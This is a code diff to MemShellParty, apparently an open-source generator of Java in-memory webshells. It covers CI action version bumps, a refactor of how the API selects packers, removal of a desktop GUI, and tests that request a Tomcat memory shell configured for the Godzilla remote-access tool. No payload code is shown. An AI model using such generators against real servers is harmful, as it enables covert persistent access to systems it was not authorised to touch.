uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: boot
|
||||
platforms: linux/amd64,linux/arm64
|
||||
@@ -95,15 +95,15 @@ jobs:
|
||||
needs: [ build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Publish with Gradle
|
||||
env:
|
||||
|
||||
@@ -22,7 +22,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
|
||||
@@ -15,21 +15,21 @@ jobs:
|
||||
name: Docker Push
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
uses: docker/setup-qemu-action@v4
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
@@ -54,16 +54,16 @@ jobs:
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
@@ -48,16 +48,16 @@ jobs:
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
@@ -66,7 +66,7 @@ jobs:
|
||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
uses: mikepenz/action-junit-report@v6
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Get Version
|
||||
id: get_version
|
||||
@@ -36,16 +36,16 @@ jobs:
|
||||
name: Build Jar
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
@@ -75,7 +75,7 @@ jobs:
|
||||
needs: [ info, build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Download Boot Jar
|
||||
uses: actions/download-artifact@v4
|
||||
@@ -84,26 +84,26 @@ jobs:
|
||||
path: boot/build/libs
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
uses: docker/setup-qemu-action@v4
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: boot
|
||||
platforms: linux/amd64,linux/arm64
|
||||
@@ -115,7 +115,7 @@ jobs:
|
||||
ghcr.io/reajason/memshell-party:latest
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
@@ -130,15 +130,15 @@ jobs:
|
||||
name: Deploy to Maven Central
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Publish with Gradle
|
||||
env:
|
||||
@@ -156,7 +156,7 @@ jobs:
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Download Boot Jar
|
||||
uses: actions/download-artifact@v4
|
||||
|
||||
@@ -22,16 +22,16 @@ jobs:
|
||||
runs-on: ubuntu-22.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
if: ${{ inputs.depend_tasks != '' }}
|
||||
|
||||
@@ -17,16 +17,16 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
uses: actions/setup-java@v5
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
+1
-1
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||
rm -rf vul integration-test tools
|
||||
|
||||
# https://hub.docker.com/r/oven/bun
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
|
||||
|
||||
ARG ROUTE_ROOT_PATH="/"
|
||||
ARG CONTEXT_PATH=""
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("org.springframework.boot") version "3.5.11"
|
||||
id("org.springframework.boot") version "3.5.8"
|
||||
id("io.spring.dependency-management") version "1.1.7"
|
||||
}
|
||||
|
||||
@@ -26,14 +26,16 @@ extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||
dependencies {
|
||||
implementation(project(":generator")) {
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
exclude(group = "com.reajason.javaweb", module = "thirdparty-tomcat")
|
||||
}
|
||||
implementation(project(":packer")) {
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
}
|
||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||
implementation("org.springframework.boot:spring-boot-starter-web")
|
||||
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||
}
|
||||
implementation(libs.commons.lang3)
|
||||
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
||||
compileOnly("org.projectlombok:lombok")
|
||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||
|
||||
@@ -29,12 +29,6 @@ public class GlobalExceptionHandler {
|
||||
return new ErrorResponse(exception.getMessage());
|
||||
}
|
||||
|
||||
@ResponseStatus(HttpStatus.BAD_REQUEST)
|
||||
@ExceptionHandler(IllegalArgumentException.class)
|
||||
public ErrorResponse handleIllegalArgumentException(IllegalArgumentException exception) {
|
||||
return new ErrorResponse(exception.getMessage());
|
||||
}
|
||||
|
||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||
@ExceptionHandler(Throwable.class)
|
||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||
|
||||
@@ -34,24 +34,10 @@ public class ConfigController {
|
||||
}
|
||||
|
||||
@RequestMapping("/packers")
|
||||
public List<PackerCategoryDTO> getPackers() {
|
||||
List<PackerCategoryDTO> result = new ArrayList<>();
|
||||
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
|
||||
PackerCategoryDTO category = new PackerCategoryDTO();
|
||||
category.setName(entry.getKey());
|
||||
List<PackerOptionDTO> options = new ArrayList<>();
|
||||
for (Packers packer : entry.getValue()) {
|
||||
PackerOptionDTO option = new PackerOptionDTO();
|
||||
option.setName(packer.name());
|
||||
option.setOutputKind(packer.getOutputKind());
|
||||
option.setCategoryAnchor(packer.hasChildren());
|
||||
option.setSchema(packer.getSchema());
|
||||
options.add(option);
|
||||
}
|
||||
category.setPackers(options);
|
||||
result.add(category);
|
||||
}
|
||||
return result;
|
||||
public List<String> getPackers() {
|
||||
return Arrays.stream(Packers.values())
|
||||
.filter(packers -> packers.getParentPacker() == null)
|
||||
.map(Packers::name).toList();
|
||||
}
|
||||
|
||||
@RequestMapping
|
||||
@@ -80,64 +66,4 @@ public class ConfigController {
|
||||
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||
return commandConfigVO;
|
||||
}
|
||||
|
||||
public static class PackerCategoryDTO {
|
||||
private String name;
|
||||
private List<PackerOptionDTO> packers;
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public void setName(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public List<PackerOptionDTO> getPackers() {
|
||||
return packers;
|
||||
}
|
||||
|
||||
public void setPackers(List<PackerOptionDTO> packers) {
|
||||
this.packers = packers;
|
||||
}
|
||||
}
|
||||
|
||||
public static class PackerOptionDTO {
|
||||
private String name;
|
||||
private String outputKind;
|
||||
private boolean categoryAnchor;
|
||||
private Object schema;
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public void setName(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public String getOutputKind() {
|
||||
return outputKind;
|
||||
}
|
||||
|
||||
public void setOutputKind(String outputKind) {
|
||||
this.outputKind = outputKind;
|
||||
}
|
||||
|
||||
public boolean isCategoryAnchor() {
|
||||
return categoryAnchor;
|
||||
}
|
||||
|
||||
public void setCategoryAnchor(boolean categoryAnchor) {
|
||||
this.categoryAnchor = categoryAnchor;
|
||||
}
|
||||
|
||||
public Object getSchema() {
|
||||
return schema;
|
||||
}
|
||||
|
||||
public void setSchema(Object schema) {
|
||||
this.schema = schema;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+7
-14
@@ -7,11 +7,9 @@ import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Base64;
|
||||
@@ -24,24 +22,19 @@ import java.util.Base64;
|
||||
@RequestMapping("/api/memshell/generate")
|
||||
@CrossOrigin("*")
|
||||
public class MemShellGeneratorController {
|
||||
|
||||
@PostMapping
|
||||
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
||||
ShellConfig shellConfig = request.getShellConfig();
|
||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
if (request.getPackerSpec() == null) {
|
||||
throw new IllegalArgumentException("packerSpec is required");
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof AggregatePacker) {
|
||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
Packers packers = Packers.fromName(request.getPackerSpec().getName());
|
||||
Packer<?> packer = packers.getInstance();
|
||||
if (packer instanceof JarPacker) {
|
||||
JarPackerConfig<?> jarPackerConfig = generateResult.toJarPackerConfig();
|
||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(jarPackerConfig)));
|
||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||
}
|
||||
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
|
||||
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
|
||||
return new MemShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
|
||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
}
|
||||
+6
-9
@@ -2,9 +2,8 @@ package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
@@ -24,13 +23,11 @@ public class ProbeShellGeneratorController {
|
||||
ProbeConfig probeConfig = request.getProbeConfig();
|
||||
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
||||
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
||||
if (request.getPackerSpec() == null) {
|
||||
throw new IllegalArgumentException("packerSpec is required");
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof AggregatePacker) {
|
||||
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
} else {
|
||||
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
Packers packers = Packers.fromName(request.getPackerSpec().getName());
|
||||
Packer packer = packers.getInstance();
|
||||
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
|
||||
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
|
||||
return new ProbeShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.Data;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||
@@ -14,7 +15,7 @@ public class MemShellGenerateRequest {
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfigDTO shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
private PackerRequestSpecDTO packerSpec;
|
||||
private Packers packer;
|
||||
|
||||
@Data
|
||||
public static class ShellToolConfigDTO {
|
||||
@@ -83,4 +84,4 @@ public class MemShellGenerateRequest {
|
||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,18 +1,29 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class MemShellGenerateResponse {
|
||||
private MemShellResult memShellResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
|
||||
this.memShellResult = memShellResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.memShellResult = memShellResult;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,25 +0,0 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.packer.spec.PackerRequestSpec;
|
||||
import lombok.Data;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Packer selection request payload.
|
||||
*/
|
||||
@Data
|
||||
public class PackerRequestSpecDTO {
|
||||
private String name;
|
||||
private Map<String, Object> config = new LinkedHashMap<>();
|
||||
|
||||
public PackerRequestSpec toPackerRequestSpec() {
|
||||
PackerRequestSpec spec = new PackerRequestSpec();
|
||||
spec.setName(name);
|
||||
if (config != null) {
|
||||
spec.setConfig(config);
|
||||
}
|
||||
return spec;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.config.*;
|
||||
import lombok.Data;
|
||||
|
||||
@@ -11,7 +12,7 @@ import lombok.Data;
|
||||
public class ProbeShellGenerateRequest {
|
||||
private ProbeConfig probeConfig;
|
||||
private ProbeContentConfigDTO probeContentConfig;
|
||||
private PackerRequestSpecDTO packerSpec;
|
||||
private Packers packer;
|
||||
|
||||
@Data
|
||||
static class ProbeContentConfigDTO {
|
||||
|
||||
@@ -1,18 +1,29 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class ProbeShellGenerateResponse {
|
||||
private ProbeShellResult probeShellResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
|
||||
this.probeShellResult = probeShellResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.probeShellResult = probeShellResult;
|
||||
}
|
||||
}
|
||||
|
||||
+8
-4
@@ -9,12 +9,9 @@ import org.springframework.http.ResponseEntity;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -40,4 +37,11 @@ public class ConfigControllerIntegrationTest {
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigPackersEndpoint() {
|
||||
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
}
|
||||
+7
-28
@@ -3,11 +3,11 @@ package com.reajason.javaweb.boot.controller;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||
import com.reajason.javaweb.boot.dto.PackerRequestSpecDTO;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
@@ -15,8 +15,6 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
|
||||
@@ -32,23 +30,6 @@ class MemShellGeneratorControllerTest {
|
||||
|
||||
@Test
|
||||
void generateShell() {
|
||||
MemShellGenerateRequest request = buildRequest("ScriptEngine", null);
|
||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
|
||||
@Test
|
||||
void generateJspxShellWithCustomConfig() {
|
||||
MemShellGenerateRequest request = buildRequest("JSPX", Map.of("unicode", true));
|
||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
|
||||
private static MemShellGenerateRequest buildRequest(String packerName, Map<String, Object> packerConfig) {
|
||||
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
||||
request.setShellConfig(ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
@@ -62,18 +43,16 @@ class MemShellGeneratorControllerTest {
|
||||
request.setInjectorConfig(InjectorConfig.builder()
|
||||
.urlPattern("/*")
|
||||
.build());
|
||||
PackerRequestSpecDTO packerRequestSpecDTO = new PackerRequestSpecDTO();
|
||||
packerRequestSpecDTO.setName(packerName);
|
||||
if (packerConfig != null) {
|
||||
packerRequestSpecDTO.setConfig(packerConfig);
|
||||
}
|
||||
request.setPackerSpec(packerRequestSpecDTO);
|
||||
request.setPacker(Packers.ScriptEngine);
|
||||
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
||||
shellToolConfigDTO.setGodzillaKey("key");
|
||||
shellToolConfigDTO.setGodzillaPass("pass");
|
||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||
shellToolConfigDTO.setHeaderValue("hello");
|
||||
request.setShellToolConfig(shellToolConfigDTO);
|
||||
return request;
|
||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
}
|
||||
}
|
||||
+2
-5
@@ -1,7 +1,6 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("idea")
|
||||
id("com.vanniktech.maven.publish") version "0.35.0" apply false
|
||||
}
|
||||
|
||||
idea {
|
||||
@@ -10,18 +9,16 @@ idea {
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.7.0-SNAPSHOT"
|
||||
version = "2.7.0"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
dependsOn(":packer:publishToMavenCentral")
|
||||
dependsOn(":generator:publishToMavenCentral")
|
||||
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenCentral")
|
||||
}
|
||||
|
||||
tasks.register("publishAllToMavenLocal") {
|
||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
||||
dependsOn(":packer:publishToMavenLocal")
|
||||
dependsOn(":generator:publishToMavenLocal")
|
||||
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenLocal")
|
||||
}
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("application")
|
||||
}
|
||||
|
||||
group = "com.reajason.javaweb"
|
||||
version = rootProject.version
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation(project(":generator"))
|
||||
implementation(project(":packer"))
|
||||
implementation("com.formdev:flatlaf:3.7")
|
||||
implementation("com.miglayout:miglayout-swing:5.3")
|
||||
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
}
|
||||
|
||||
application {
|
||||
mainClass.set("com.reajason.javaweb.desktop.memshell.MemShellDesktopApplication")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
-13
@@ -1,13 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell;
|
||||
|
||||
import com.formdev.flatlaf.FlatLightLaf;
|
||||
import com.reajason.javaweb.desktop.memshell.ui.MemShellGeneratorFrame;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
public class MemShellDesktopApplication {
|
||||
public static void main(String[] args) {
|
||||
FlatLightLaf.setup();
|
||||
SwingUtilities.invokeLater(() -> new MemShellGeneratorFrame().setVisible(true));
|
||||
}
|
||||
}
|
||||
-331
@@ -1,331 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.controller;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
|
||||
